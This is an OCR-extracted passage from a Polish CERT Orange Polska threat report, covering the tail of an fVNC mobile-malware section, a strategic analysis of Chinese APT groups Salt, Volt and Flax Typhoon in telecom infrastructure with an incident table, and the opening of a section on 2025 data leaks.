ra. Umozliwia to zdalne, manualne sterowanie urzadzeniem

—w tym: przechwytywanie obrazu ekranu, interakcje z apli-
kacjami oraz dalsze dziatania postkompromitacyjne — przy
jednoczesnym ominieciu zapor sieciowych i mechanizméw NAT.
Z perspektywy obronnej oznacza to, ze urzadzenie ofiary staje
sie ukrytym zasobem sieciowym, dostepnym jedynie w krétkich,
kontrolowanych oknach czasowych.

Istotnym elementem obserwowanych kampanii jest selektyw-
nos¢ infekcji oraz wstepne profilowanie ofiary, co wskazuje na
dziatania o podwyzszonym stopniu ukierunkowania. Krétko-
trwata infrastruktura C2, dynamicznie dostarczane parametry
komunikacyjne oraz rotacja domen i certyfikatéw swiadczg

o swiadomym stosowaniu zasad OPSEC i modelu ,,burn-after-
-use”. W potaczeniu z faktem, ze w Polsce zidentyfikowano
wiele wariantéw i iteracji tego malware, fVNC nalezy traktowac
jako realny i rozwijajgcy sie komponent lokalnego krajobrazu
zagrozen mobilnych, a nie pojedynczy incydent techniczny.

cert.orange.pl
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w telekomunikaciji

Analiza taktyczno-strategiczna
Ireneusz Tarnowski

Globalne aspiracje Chinskiej Republiki Ludowej a aktywnos$¢ chinskich
grup APT w infrastrukturze telekomunikacyjnej


http://cert.orange.pl

Aktywnosé chinskich grup APT w infrastrukturze
telekomunikacyjnej panstw zachodnich nie jest
zjawiskiem incydentalnym ani ograniczonym wytgcz-
nie do klasycznego cyberszpiegostwa. Dziatania te
nalezy postrzega¢ w kontekscie dtugofalowej stra-
tegii panstwowej Chiniskiej Republiki Ludowej, ktéra
konsekwentnie buduje swoja pozycje jako globalnego
mocarstwa technologicznego, militarnego i gospodar-
czego. Cyberprzestrzen stanowi jedna z kluczowych
domen realizacji tej strategii, obok dziatarh dyploma-
tycznych, ekonomicznych i militarnych. Infrastruktura
telekomunikacyjna panstw staje sie wiec nie tylko ce-
lem wywiadowczym, lecz rowniez potencjalnym polem
dziatan zaktécajacych oraz areng walki o przewage
operacyjna w razie konfliktu.

Chinskie potrzeby wywiadowcze obejmuja szerokie
spektrum informacji: od danych politycznych i wojsko-
wych, przez komunikacje rzgdowa i dyplomatyczna,
po wiedze o architekturze infrastruktury krytycznej
oraz mechanizmach reagowania kryzysowego. Tele-
komunikacja, jako kregostup nowoczesnych panstw,
umozliwia realizacje wszystkich tych celéw jednocze-
$nie. Uzyskanie trwatego, ukrytego dostepu do sieci
operatorskich pozwala nie tylko na biezace pozyski-
wanie informacji, ale réwniez na mapowanie zalezno-
$ci systemowych, testowanie mechanizmoéw detekciji
oraz przygotowywanie zdolnosci do potencjalnych
dziatan zaktécajacych w przysztosci. W tym sensie
obserwowane kampanie APT nalezy interpretowacé
jako element przygotowania strategicznego, a nie
wytacznie biezacej aktywnosci szpiegowskiej.

Efekty skutecznej infiltracji infrastruktury telekomuni-
kacyjnej przez aktoréw panstwowych maja charakter
wielowymiarowy i czesto wykraczajg daleko poza
bezposrednie konsekwencje techniczne. Na poziomie
operacyjnym kompromitacja sieci telekomunikacyjnej
umozliwia dostep do metadanych potaczen, infor-
macji lokalizacyjnych, a w niektérych przypadkach
réowniez do tresci komunikacji. Nawet w sytuacji, gdy
tres¢ rozmow pozostaje zaszyfrowana, sama analiza
metadanych pozwala na odtworzenie relacji, schema-
téw zachowan oraz identyfikacje kluczowych weztéw
decyzyjnych w strukturach panstwowych i korpora-
cyjnych.

Kampanie APT nalezy interpre-
towac jako element przygo-
towania strategicznego, a nie
wytacznie biezacej aktywnosci
szpiegowskiej.

Z perspektywy strategicznej szczegdlnie niepokoja-
cy jest fakt, ze wiele z obserwowanych (opisanych

w dalszej czesci) kampanii miato charakter dtugotrwaty
i pozostawato niewykrytymi przez miesiace lub lata.
Oznacza to, ze atakujgcy moégt w tym czasie nie tylko
pozyskiwac informacje, ale réwniez obserwowac
reakcje obronne, procedury operacyjne oraz proce-
sy decyzyjne operatoréw i instytucji panstwowych.
W skrajnym scenariuszu taki dostep moze zostaé
wykorzystany do dziatan sabotazowych, zaktécania
tacznosci w czasie kryzysu lub konfliktu zbrojnego,

a takze do operacji wptywu i dezinformaciji, opartych
na precyzyjnej wiedzy o systemach komunikacyjnych
przeciwnika.

Réwnie istotne sg konsekwencje polityczne i spotecz-
ne. Ujawnienie faktu dtugotrwatej infiltracji infrastruktu-
ry telekomunikacyjnej podwaza zaufanie spoteczne do
skompromitowanych instytucji panstwowych i opera-
torow, kwestionuje skuteczno$é mechanizméw ochro-
ny oraz moze prowadzi¢ do napie¢ dyplomatycznych.
W tym sensie skutki takich operacji sg trudne do
jednoznacznego oszacowania, lecz ich potencjalna
skala czyni je jednym z najpowazniejszych zagrozen
dla bezpieczenstwa narodowego. Z tej perspektywy
tylko poprzez skoordynowana wymiane informacji,
agregacje oraz analize danych na poziomie krajowym
i operatorskim mozliwe jest petne zrozumienie ryzyka
oraz skuteczne przygotowanie procedur obronnych.

Analiza publicznie dostepnych raportéw opracowanych
przez zespoty CERT, agencje rzagdowe oraz firmy zajmu-
jace sie cyberbezpieczenstwem (m.in.: CISA, FBI, NCSC,
CERT EU) wskazuje, ze sektor telekomunikacyjny od lat
znajduje sie w centrum zainteresowania chinskich grup
APT. W wielu przypadkach ataki te charakteryzowaty sie
wysokim poziomem przygotowania, precyzyjnym dobo-
rem celéw oraz zastosowaniem technik minimalizujgcych
$lady dziatalnosci. Incydenty te nie miaty charakteru
masowego, lecz byly wymierzone w wybrane podmioty,
petniace kluczowa role w krajowych lub miedzynarodo-
wych systemach komunikacyjnych.

Wspdélnym mianownikiem wielu kampanii byto
wykorzystanie urzadzen brzegowych - routeréw,
firewalli i systeméw VPN - ktére czesto funkcjonu-
ja na styku sieci zewnetrznej i wewnetrznej, a jed-
noczesnie bywaja objete stabszym monitoringiem
niz klasyczne systemy serwerowe. Po uzyskaniu
dostepu atakujacy koncentrowali sie na utrzymaniu
trwatej obecnosci w sieci, unikajgc dziatan, ktére
mogtyby prowadzi¢ do szybkiego wykrycia. W wielu
przypadkach celem nie byta destrukcja ani kra-
dziez danych w klasycznym rozumieniu, lecz cichy,
diugoterminowy dostep umozliwiajacy obserwacje
i rekonesans.



Nazwa/Opis incydentu

Infiltracja systemow CALEA

Przyblizony

czas

w sieciach operatorow telekomunikacyjnych

Skala i skutki

Witamanie do systemoéw stuzgcych do
realizacji sgdowych nakazéw podstuchu.
Grupa uzyskata dostep do infrastruktury

(USA/Gilobal) 2024-2025 m.in. AT&T, Verizon i Lumen Technologies,
potencjalnie monitorujgc komunikacje
amerykanskich elit politycznych.

Wykrycie masowej obecnosci w systemach

Kompromitacja infrastruktury l:;/gﬁg;gggg:;;;jg?givz;gzgef elem

krytycznej w bazie wojskowe;j 2023-2025 . .

na wysple Guam | w USA konfliktu o Tajwan. Grupa wykorzystywafa
botnet KV-botnet (oparty na routerach Cisco
i Netgear).

Masowa kampania wymierzona w agencje

Operacja przeciwko rzadowe i firmy technologiczne (w tym

podmiotom na Tajwanie 2023-2024 telekomy). Wykorzystano luke w systemach

i w Azji Ptd.-Wsch. zarzadzania (np. SoftEther VPN) do budowy
statych, tylnych furtek.

Wykorzystanie luk w urzadzeniach FortiGate.

Infiltracja holenderskiego 2024 Cho¢ cel byt militarny, atak opierat sie na

Ministerstwa Obrony . infrastrukturze ISP do maskowania ruchu

s . (wykrycie) .

(i sieci sojuszniczych) i lateral movement (ruchu poprzecznego)
wewnatrz sieci rzadowe;.

Dtugofalowa infiltracja serweréw

operatorom w Azji 2020-2023 ) - ) . . .

i Afryce mar)lpulacl! protolfo’rarpl sygnahz’acyjnyr.m
do sledzenia lokalizacji abonentéw bez ich
wiedzy.

Szeroka kampania wymierzona
w infrastrukture paristwowa. Norweskie

Norwegia (adminisiracia stuzby (PST) i NSM Potvyierdzi’:y, ze chir’]scyi

rzadowa ilaperatorzy 2021-2024 aktorzy wykorzystali luki w systemach Ivanti

- Connect Secgre: Celem byto uzyskanie
dostepu do sieci rzadowych poprzez
infrastrukture operatoréw wspierajacych
administracje.

Ataki na brytyjskich operatoréw w celu
kradziezy danych logowania i mapowania

Wielka Brytania (sektor sieci szkieletowej. Brytyjskie N(?SC o

e 2021-2023 wskaza.ﬂo na systematyczne p.roby gs{aplanla
zaufania do tanicucha dostaw i eksfiltracje
metadanych dotyczacych oséb o znaczeniu
strategicznym (high-value targets).
Wykrycie rozlegtej sieci botnetowej
wykorzystywanej do atakéw na brytyjskie
podmioty publiczne. Kampania opierata

Wielka Brytania (instytucije) 2024 sie na infekowaniu tysiecy urzadzen

brzegowych (routeréw) w celu stworzenia
anonimowej warstwy przesytowej dla
wiasciwych operacji szpiegowskich.
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Kampania grupy okreslanej jako Salt Typhoon stanowi
jeden z najbardziej dojrzatych i jednoczesnie niepoko-
jacych przyktadow dtugotrwatej, paristwowej aktyw-
nosci cyberwywiadowczej wymierzonej bezposrednio
w infrastrukture telekomunikacyjna panstw zachodnich.
Z perspektywy analitycznej szczegdlng uwage zwra-

ca fakt, ze operacje tej grupy nie byty nastawione na
szybkie osiggniecie efektu taktycznego, lecz na uzyska-
nie i utrzymanie trwatego, niskoszumowego dostepu do
$rodowisk operatorskich, co wskazuje na strategiczny
charakter prowadzonych dziatan.

Dostepne analizy wskazujg, ze Salt Typhoon koncen-
trowat sie na kompromitacji kluczowych elementéw
infrastruktury sieciowej, w tym: urzadzen brzegowych,
systemow zarzadzania ruchem oraz platform odpo-
wiedzialnych za obstuge sygnalizacji i metadanych
potaczen. W odrdznieniu od klasycznych kampanii APT
wymierzonych w srodowiska IT, operacje te byly gteboko
osadzone w specyfice architektury telekomunikacyjnej,
€O sugeruje wysoki poziom rozpoznania technicznego

i dostep do wiedzy domenowej charakterystycznej dla
operatorow sektora telekomunikacyjnego.

Istotnym elementem kampanii byta zdolno$¢ do poru-
szania sie w srodowiskach, ktére czesto nie sg objete
petnym monitoringiem bezpieczenstwa porownywalnym
z klasycznymi centrami danych. Atakujacy wykorzy-
stywali luki w urzadzeniach sieciowych, umozliwiajgc
dostep uprzywilejowany bez dedykowanego malware.
Takie podejscie znaczaco obnizato widocznos$¢ dziatan
i utrudniato ich wykrycie przez standardowe mechani-
zmy detekcji.

Z perspektywy bezpieczenstwa panstwa szczegdlnie
istotne jest to, ze dostep uzyskany przez Salt Typhoon
umozliwiat obserwacije i potencjalne przechwytywanie
danych o znaczeniu strategicznym, w tym metada-
nych komunikacyjnych oséb petniacych funkcje pu-
bliczne, przedstawicieli administracji oraz podmiotéow
kluczowych dla funkcjonowania paninstwa. Nawet przy
zatozeniu braku dostepu do tresci komunikacji, sama ana-
liza wzorcéw potaczen i lokalizacji uzytkownikéw stanowi
niezwykle cenne Zrédto informacji wywiadowczych.

Charakterystyka operacyjna dziatan
i sposob prowadzenia kampanii

Analiza taksonomiczna dziatars Salt Typhoon wskazu-

je na klasyczny, wieloetapowy przebieg operacji APT,
dostosowany jednak do realidw infrastruktury telekomu-
nikacyjnej. Faza poczatkowa obejmowata rozpoznanie
zewnetrznych punktéw styku operatoréw, w szczegdlno-
$ci urzadzen brzegowych, systeméw VPN oraz interfej-
séw zarzadzajgcych. W tej fazie atakujgcy wykazywali
duzg cierpliwosé, koncentrujgc sie na identyfikaciji

stabilnych wektoréw dostepu niegenerujacych nadmier-
nych anomalii.

Po uzyskaniu dostepu poczatkowego dziatania grupy
koncentrowaly sie na eskalacji uprawnien i utrwaleniu
obecnosci w srodowisku. Charakterystyczne byto wyko-
rzystywanie legalnych mechanizméw administracyjnych
oraz natywnych narzedzi systemowych, co pozwalato na
realizacje kolejnych etapow operacji bez wdrazania wy-
raznie ztosliwego oprogramowania. Tego typu podejscie
wpisuje sie w model living-off-the-land (LOTL, tj. taktyka
oparta na wykorzystaniu w ramach operacji legalnych,
wbudowanych narzedzi systemowych), ktéry w srodowi-
skach operatorskich jest szczegdlnie trudny do odréz-
nienia od normalnej aktywnosci administracyjnej.

W dalszej fazie obserwowano dziatania zwigzane z late-
ral movement w obrebie sieci operatorskich, przy czym
celem nie byto masowe przemieszczanie sie pomiedzy
segmentami, lecz selektywne uzyskiwanie dostepu do
systemow o najwyzszej wartosci informacyjnej. W tym
kontekscie szczegdlne znaczenie miaty systemy za-
rzagdzania ruchem, platformy billingowe oraz elementy
infrastruktury odpowiedzialne za sygnalizacje i routing
potaczen. Dziatania te miaty charakter precyzyjny i ogra-
niczony, co dodatkowo utrudniato ich wykrycie.

Koncowym, lecz diugotrwalym etapem operacji byto
utrzymanie dostepu oraz pasywna obserwacja srodo-
wiska. Brak jednoznacznych oznak masowej eksfiltra-
cji danych sugeruje, ze gtdwnym celem byta biezaca
dostepnos¢ informaciji oraz gotowosé do ich pozyska-
nia w dogodnym momencie. Z punktu widzenia CTI
jest to wyrazny sygnat, ze kampania miata charakter
strategiczny, a nie reaktywny czy oportunistyczny.

Aktywnos¢ grupy okreslanej jako Volt Typhoon stanowi
jakosciowo odmienny, lecz komplementarny wobec Salt
Typhoon, model dziatar chiriskich aktoréw parnstwowych
w cyberprzestrzeni. O ile Salt Typhoon koncentruje sie na
pozyskiwaniu informacji wywiadowczych poprzez infiltra-
cje srodowisk telekomunikacyjnych, o tyle Volt Typhoon
jest powszechnie interpretowany jako przyktad operacji
ukierunkowanej na dtugoterminowe prepozycjonowanie
dostepu do infrastruktury krytycznej. Nadrzednym celem

Aktorzy panstwowi beda co-
raz czesciej unika¢ wdrazania
malware na rzecz dziatan, ktdre
z technicznego punktu widzenia
nie odbiegaja znaczaco od nor-
malnej aktywnosci operacyjnej.



takiego podejscia nie jest osigganie natychmiastowych efektéw
operacyjnych, lecz przygotowanie warunkéw umozliwiajgcych
potencjalne dziatania zaktécajgce w scenariuszu eskalaciji
geopolitycznej. Z perspektywy analitycznej istotne jest, ze
kampanie Volt Typhoon nie wykazujg typowych cech operacji
nastawionych na biezgca eksfiltracje danych, co odréznia je od
klasycznych kampanii szpiegowskich.

Obserwowane dziatania charakteryzujag sie skrajng powscia-
gliwoscig, minimalizmem technicznym oraz niemal catkowitym
unikaniem artefaktow, ktére mogtyby jednoznacznie wskazy-
wac na obecnos¢ intruza. Profil ten jest spéjny z hipoteza, ze
celem grupy jest utrzymanie ukrytego, stabilnego dostepu do
wybranych elementéw infrastruktury krytycznej — w tym sieci
telekomunikacyjnych, energetycznych i transportowych — na
potrzeby przysztych, jeszcze niezmaterializowanych scenariu-
szy operacyjnych. W kontekscie telekomunikacyjnym szcze-
golnym zainteresowaniem Volt Typhoon cieszg sie systemy,
ktérych kompromitacja moze wywotac¢ efekt kaskadowy, takie
jak: urzadzenia sieciowe, serwery posredniczace, elementy za-
rzadzania ruchem oraz systemy zapewniajace ciagtos¢ ustug.
Dostep do tych komponentéw umozliwia doktadne rozpozna-
nie architektury sieci, zaleznosci pomiedzy systemami oraz
identyfikacje punktow krytycznych, bez koniecznosci wywiera-
nia natychmiastowego wptywu na uzytkownikéw koricowych.

Charakterystyka operacyjna dziatan
i sposob prowadzenia kampanii

Z punktu widzenia Cyber Threat Intelligence operacje Volt
Typhoon wyrézniaja sie konsekwentnym stosowaniem technik
LOTL, co w srodowiskach infrastruktury krytycznej znaczaco
utrudnia ich wykrycie. Faza uzyskania dostepu poczatkowego
opierata sie na wykorzystaniu publicznie dostepnych ustug
oraz urzadzen brzegowych, czesto funkcjonujacych w warun-
kach ograniczonej obserwowalnosci bezpieczenstwa. W ko-
lejnych etapach atakujacy unikali wdrazania dedykowanego
malware, preferujgc natywne narzedzia systemowe, standar-
dowe protokoty administracyjne oraz istniejgce mechanizmy
zarzgdzania. Utrwalanie obecnosci realizowane byto poprzez
naduzywanie legalnych kont i modyfikacje konfiguraciji, co
pozwalato na zachowanie spoéjnosci z normalnym profilem
administracyjnym srodowiska.

Lateral movement w kampaniach Volt Typhoon miat charakter
wysoce selektywny i celowy. Zamiast szerokiego przemiesz-
czania sie pomiedzy segmentami sieci, dziatania koncentro-
waty sie na ograniczonej liczbie systemoéw o strategicznym
znaczeniu, w szczegoélnosci komponentéw odpowiedzialnych
za routing, synchronizacje oraz zarzadzanie infrastrukturg
sieciowa. Taki sposdéb poruszania sie minimalizowat gene-
rowanie anomalii i jednoczes$nie umozliwiat dalsze dziatania
rozpoznawcze. Brak agresywnej eksfiltracji danych oraz
niska intensywnos¢ ruchu sieciowego wzmacniajg ocene, ze
gtéwnym celem operaciji byto utrzymanie dostepu, a nie jego
natychmiastowe wykorzystanie.

Koncowym, lecz kluczowym elementem operaciji byta
dtugoterminowa obserwacja srodowiska oraz testowa-

Ochrona infrastruktury krytycznej
nie moze ograniczac sie wylacz-
nie do rdzenia sieci.

nie granic wykrywalnosci. Z perspektywy CTI dziatania

te mozna interpretowac jako forme cichego rekonesan-
su, w ramach ktérego atakujacy weryfikujg skutecznosé
mechanizmoéw bezpieczenstwa, procedur reagowania oraz
zdolnosci organizacji do identyfikacji subtelnych anoma-
lii behawioralnych. Analiza catos$ci dziatan Volt Typhoon
wskazuje, ze publicznie dostepne zrédta nie potwierdzaja
uzycie dedykowanych narzedzi destrukcyjnych przez te
grupe. Jednoczesnie sposdb prepozycjonowania, uzyski-
wania wysokich uprawnien oraz dostepu do systemoéw
zarzadzania i sterowania tworzy warunki umozliwiajgce
szybkie przejscie do dziatan zaktdcajacych lub destrukcyj-
nych w scenariuszu eskalacyjnym.

Aktywnosé grupy okreslanej jako Flax Typhoon reprezentuje
odmienny, lecz strategicznie istotny model dziatan chinskich
aktoréw panstwowych w cyberprzestrzeni. W przeciwienstwie
do Salt Typhoon, skoncentrowanego na gtebokiej infiltraciji
$rodowisk operatorskich, oraz Volt Typhoon, ukierunkowa-
nego na ciche pozostawianie w infrastrukturze krytycznej,
Flax Typhoon operuje na poziomie masowym, wykorzystujac
obrzeza infrastruktury sieciowej jako wektor dtugoterminowe-
go dostepu.

Z dostepnych analiz wynika, ze Flax Typhoon w duzym stop-
niu opierat sie na kompromitacji urzadzen klasy SOHO (Small
Office / Home Office), CPE (Customer Premises Equipment)
oraz innych systeméw brzegowych, czesto zarzadzanych
poza $cistymi strukturami bezpieczenstwa operatorow.
Urzadzenia te, powszechnie wykorzystywane zaréwno przez
uzytkownikéw indywidualnych, jak i mniejsze podmioty insty-
tucjonalne, stanowig naturalny punkt styku pomiedzy sieciami
operatorskimi a siecig publiczna. lch masowa kompromitacja
umozliwia budowe rozproszonej infrastruktury posredniej,
ktéra moze by¢ wykorzystywana do dziatann wywiadowczych,
maskowania ruchu oraz posredniego dostepu do bardziej
chronionych segmentow sieci.

Z perspektywy CTI szczegdlnie istotne jest to, ze Flax
Typhoon demonstruje zdolnos$é do prowadzenia ope-
racji o bardzo niskim progu technicznym pojedynczego
elementu, a jednoczes$nie wysokiej wartosci strategicz-
nej w skali catej kampanii. Zamiast polega¢ na zaawan-
sowanym malware czy ztozonych exploitach 0-day, grupa
wykorzystywata znane podatnosci, stabe konfiguracje oraz
brak segmentacji i monitoringu na poziomie urzadzen brze-
gowych. Tego typu podejscie znaczaco utrudnia detekcje,
gdyz aktywnos$¢ atakujgcych rozmywa sie w masie legalne-
go ruchu generowanego przez tysigce lub dziesigtki tysiecy
przejetych systemow.
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W kontekscie infrastruktury telekomunikacyjnej Flax
Typhoon nalezy postrzegac jako element uzupetniajacy
wobec dziatan Salt Typhoon i Volt Typhoon. Podczas
gdy pierwsze dwie kampanie koncentruja sie na doste-
pie do kluczowych komponentéw sieci oraz systemow
zarzadzania, Flax Typhoon buduje zaplecze operacyjne
na poziomie peryferyjnym, umozliwiajgce elastyczne
wsparcie dziatan wywiadowczych, prepozycjonujgcych
i potencjalnie zaktécajgcych. Taka architektura dziatan
zwieksza odpornos¢ operacyjna przeciwnika i utrudnia
zaréwno atrybucije, jak i skuteczne przeciwdziatanie.

Z perspektywy parstwa i operatoréow telekomunikacyj-
nych obecnos¢ Flax Typhoon w krajobrazie zagrozen
podkresla, ze ochrona infrastruktury krytycznej nie
moze ograniczac sie wylacznie do rdzenia sieci.
Obrzeza infrastruktury, urzadzenia klienckie oraz
systemy posrednie staja sie integralnym elementem
Srodowiska operacyjnego przeciwnika i wymagaja
uwzglednienia w modelach ryzyka, monitoringu oraz
planowania dziatan obronnych.

Zaréwno z perspektywy panstwa, jak i duzego operatora
telekomunikacyjnego, aktywnos¢ grup takich jak Salt
Typhoon i Volt Typhoon powinna by¢ traktowana nie
jako seria odrebnych incydentéw bezpieczenstwa, lecz
jako trwaty element srodowiska zagrozen o charakterze
strategicznym. Oznacza to koniecznos$¢ odejscia od
incydentocentrycznego modelu reagowania na rzecz
podejscia zaktadajgcego dtugofalowg obecnos¢ zaawan-
sowanego przeciwnika panstwowego w infrastrukturze
krytycznej. W takim paradygmacie kluczowe pytanie

nie brzmi: ,,czy dojdzie do kompromitacji”, lecz: ,kiedy

i w jakim zakresie zostanie ona wykryta”.

Na poziomie panstwowym niezbedne jest jednoznaczne
uznanie infrastruktury telekomunikacyjnej za komponent
bezpieczeristwa narodowego w domenie cybernetycz-
nej, poréwnywalny pod wzgledem znaczenia z systema-
mi energetycznymi czy transportowymi. Telekomunikacja
stanowi bowiem warstwe umozliwiajgca funkcjonowanie
pozostatych sektoréw — od administracji publicznej

i stuzb ratunkowych, przez systemy wojskowe, po
stabilno$é gospodarki. W tym kontekscie ochrona sieci
operatorskich nie moze by¢ postrzegana wytacznie jako

W wielu przypadkach celem
ataku nie byta destrukcja ani
kradziez danych w klasycznym
rozumieniu, lecz cichy, diugo-
terminowy dostep umozliwiaja-
cy obserwacje i rekonesans.

odpowiedzialnos¢ podmiotéw komercyjnych. Wyma-

ga ona systemowej wspétodpowiedzialnosci panstwa,
obejmujacej ramy regulacyjne, mechanizmy wymiany
informacji, wsparcie analityczne oraz zdolno$¢ do skoor-
dynowanego reagowania w sytuacjach kryzysowych.

Kluczowa role w tym zakresie odgrywa wspétpraca krajowych
zespotow CERT z sektorowymi zespotami CERT nalezgcymi
do operatoréw, ktdra — dzigki wymianie informaciji z wielu sek-
toréw i podmiotéw oraz wspdtpracy ekspertow — umozliwia
rozwdj Cyber Threat Intelligence zardwno na poziomie opera-
cyjnym, jak i strategicznym, pozwalajgc budowac petniejszy

i bardziej warto$ciowy obraz zagrozen, wykraczajacy poza
perspektywe pojedynczego operatora. W przypadku kampanii
takich jak Salt Typhoon czy Volt Typhoon, gdzie poszczegdine
elementy aktywnosci moga wydawag sie nieistotne w izolaciji,
dopiero korelacja zdarzen na poziomie krajowym lub mie-
dzynarodowym pozwala na identyfikacje petnej skali i intenciji
przeciwnika. Z tego wzgledu kluczowe znaczenie ma nie tyle
pojedyncza zauwazalnos¢ incydentdéw, ile zdolnose do ich
agregaciji i analizy w dtugim horyzoncie czasowym.

Z perspektywy duzego operatora telekomunikacyjne-
go fundamentalnym wyzwaniem jest zatem dziata-
nie w srodowisku, w ktérym nalezy zaktada¢ state
zainteresowanie ze strony aktorow panstwowych

o wysokich kompetencjach technicznych i nie-

mal nieograniczonych zasobach. W takim modelu
bezpieczenstwo nie moze opierac¢ sie wytacznie na
prewencji i reagowaniu na alarmy generowane przez
systemy detekcyjne. Konieczne jest przyjecie zato-
Zenia, ze czes¢ dziatan przeciwnika pozostanie przez
ditugi czas niewidoczna, a wykrycie intruzji bedzie
procesem stopniowym i niejednoznacznym.

W praktyce oznacza to przesuniecie ciezaru dzia-
fan obronnych w kierunku ciagtego monitorowania,
analizy behawioralnej oraz aktywnego threat huntin-
gu, szczegolnie w obszarach infrastruktury sieciowej
i systemow zarzadzania, ktore tradycyjnie nie byly
projektowane z mysla o petnej obserwowalnosci
bezpieczenstwa. Réwnie istotne jest rozwijanie zdol-
nosci organizacyjnych, w szczegodlnosci przygotowanie
procedur decyzyjnych na wypadek wykrycia dtugotrwatej
kompromitaciji, jasne zasady eskalacji oraz gotowos¢

do wspotpracy z instytucjami paristwowymi i operato-
rami w ramach skoordynowanych dziatan Cyber Threat
Intelligence. Taka wspotpraca — obejmujaca wymiane
informacji, wspoélng analize zdarzen oraz koordynacje
reakcji — pozwala skuteczniej identyfikowac zagrozenia,
oceniac ich znaczenie strategiczne i operacyjne oraz
podejmowac decyzje w warunkach niepetnej informaciji

i wysokiej niepewnosci.

Analiza dotychczasowej aktywnosci chinskich grup APT,
w potaczeniu z obserwowanymi trendami geopolitycz-



nymi, prowadzi do jednoznacznego wniosku, ze infrastruk-
tura telekomunikacyjna pozostanie jednym z priorytetowych
celéw operacji cybernetycznych o charakterze panstwowym
w perspektywie kolejnych lat. Nie nalezy jednak spodziewaé
sie gwattownej eskalacji w postaci otwarcie destrukcyjnych
atakéw. Znacznie bardziej prawdopodobny jest dalszy rozwdj
dziatan niskoszumowych, dtugoterminowych i trudnych do
jednoznacznej atrybucji, wpisujacych sie w logike uprzednie-
go pozyskania dostepu i strategicznego przygotowania pola
operacyjnego.

Rozwdj technologii 5G, sieci programowalnych (SDN - So-
ftware-Defined Networking / NFV — Network Functions Virtu-
alization) oraz rosngca integracja telekomunikacji z chmurg
obliczeniowa i ekosystemami loT bedg systematycznie zwigk-
szaé ztozonos¢ srodowisk operatorskich. Cho¢ architektury
te oferujg wieksza elastycznoscé i efektywnosé, tworzg one

w tle nowe zaleznosci pomiedzy warstwami sieci, zarzgdzania
i orkiestracji. Z punktu widzenia zaawansowanego przeciwni-
ka oznacza to pojawienie sie nowych punktéw krytycznych,
ktérych kompromitacja moze prowadzi¢ do efektéw kaskado-
wych, nieproporcjonalnych do pierwotnego wektora ataku.

Mozna oczekiwag, ze przyszte kampanie beda w coraz
wiekszym stopniu koncentrowac sie nie na klasycznych
elementach infrastruktury transmisyjnej, lecz na warstwach
kontrolnych i zarzadczych — systemach orkiestracji, automa-
tyzacji oraz monitorowania. Przejecie kontroli lub wgladu w te
komponenty umozliwia nie tylko rozpoznanie architektury sie-
ci, lecz takze subtelne wptywanie na jej funkcjonowanie bez
generowania oczywistych zaktécen, co doskonale wpisuje sie
w profil dziatari obserwowany u grup takich jak Volt Typhoon.

Jednoczesnie nalezy zaktadaé dalszy rozwdj technik LOTL
oraz naduzywania legalnych mechanizméw administracyjnych.
W miare dojrzewania systemow detekcji opartych na sygna-
turach i wskaznikach kompromitacji aktorzy panstwowi beda
coraz czesciej unika¢ wdrazania malware na rzecz dziatan,
ktére z technicznego punktu widzenia nie odbiegaja znaczaco
od normalnej aktywnosci operacyjnej. W praktyce oznacza to
rosnace znaczenie analizy kontekstowej, diugoterminowej
korelacji zdarzen oraz zdolnosci do identyfikowania subtel-
nych odchylen od ustalonej normy funkcjonowania sieci.

Z perspektywy strategicznej szczegdlnie istotna jest swia-
domosc¢, ze brak widocznych incydentdw nie moze by¢
utozsamiany z brakiem zagrozen. W przypadku najbardziej
zaawansowanych operacji panstwowych cisza operacyjna
bywa wrecz wskaznikiem skutecznosci przeciwnika. W takim
$rodowisku kluczowym wyzwaniem dla panstw i operatoréw
telekomunikacyjnych bedzie utrzymanie ciagtej gotowosci,
zdolnos¢ do funkcjonowania w warunkach dtugotrwatej nie-
pewnosci oraz odpornos¢ organizacyjna na presje zwigzang
z permanentnym zagrozeniem.

W analizach dziatalnosci chinskich aktoréow panstwowych co-
raz wyrazniej widoczny jest wzorzec wspotdzielenia infrastruk-
tury, narzedzi oraz dostepu operacyjnego pomiedzy grupami
formalnie opisywanymi jako odrebne byty, takie jak: Salt
Typhoon, Volt Typhoon czy Flax Typhoon. Cho¢ w narracji

Tajfuny w telekomunikacji

publicznej oraz czesci raportéw technicznych grupy te bywaja
przedstawiane jako dziatajgce w warunkach wewnetrznej
konkurenciji, dostepne dane wskazujg raczej na istnienie nad-
rzednej koordynacji strategicznej, w ramach ktorej poszcze-
golne zespoly realizujg komplementarne zadania w obrebie
wspolnego ekosystemu operacyjnego. Takie zatozenie wydaje
sie uzasadnione, jako ze utrzymanie przez adwersarza aury
pozornej rywalizacji i roznicowania profili TTP petni funkcje
maskujaca, sprzyjajac fragmentaryzaciji analiz po stronie
obroncow i sktaniajgc analitykdw do skupiania sie na charak-
terystyce pojedynczej grupy zamiast na catosciowym obrazie
wzajemnie powigzanych kampanii. Taki efekt utrudnia iden-
tyfikacje zaleznosci infrastrukturalnych, powtarzalnych celéw
oraz diugoterminowych zatozen operacyjnych, ktore ujawniaja
sie dopiero przy analizie skorelowanej — obejmujacej wiele
intrusion setéw, wspétdzielone zasoby oraz spéjnosc celow
strategicznych na poziomie panstwowym.
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l- Wycieki danych:

asa

'

Marek Olszewski

Rok 2025 pokazat, ze wycieki danych staty sie statym elementem krajo-
brazu cyberzagrozen i coraz trudniej poddaja sie tradycyjnej kategory-
zacji. Nie sg one juz incydentami jednostkowymi ani domena wytgcznie
duzych korporaciji. Méwimy juz nie tylko o pojedynczych bazach
danych, ale o zbiorach tworzonych latami, taczonych i wielokrotnie
odsprzedawanych, miksowanych przez r6zne podmioty przestepcze
oraz dalej dystrybuowanych w ukrytym ekosystemie (m.in.: darkwe-
bie, forach przestepczych, Telegramie). Czy o duzym wycieku mozemy
moéwic, gdy liczba rekordow jest wysoka, czy moze raczej powinnisSmy
skupic¢ sie na jego istotnosci oraz wadze jego ewentualnych skutkéw?
W 2025 roku obserwowalismy zarowno spektakularne, globalne wy-
cieki, jak i mniejsze, lokalne incydenty, ktére niosty rownie dotkliwe
skutki dla poszkodowanych.
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Warto podkresli¢, ze granica pomiedzy nowym wycie-
kiem a ponownym wykorzystaniem starych danych coraz
czesciej sie zaciera. Duza cze$¢ ujawnionych zbioréw
byta efektem korelacji danych pochodzacych z wielu
wczesniejszych naruszen, uzupetnianych o informacije
pozyskane z malware typu stealer. To powoduje, ze na-
wet uzytkownicy, ktérzy nie padli ofiarg biezgcego ataku,
mogli odnalez¢ swoje dane w ,,$wiezych” paczkach kra-
zgcych w sieci. Dodatkowym zagrozeniem ptyngcym ze
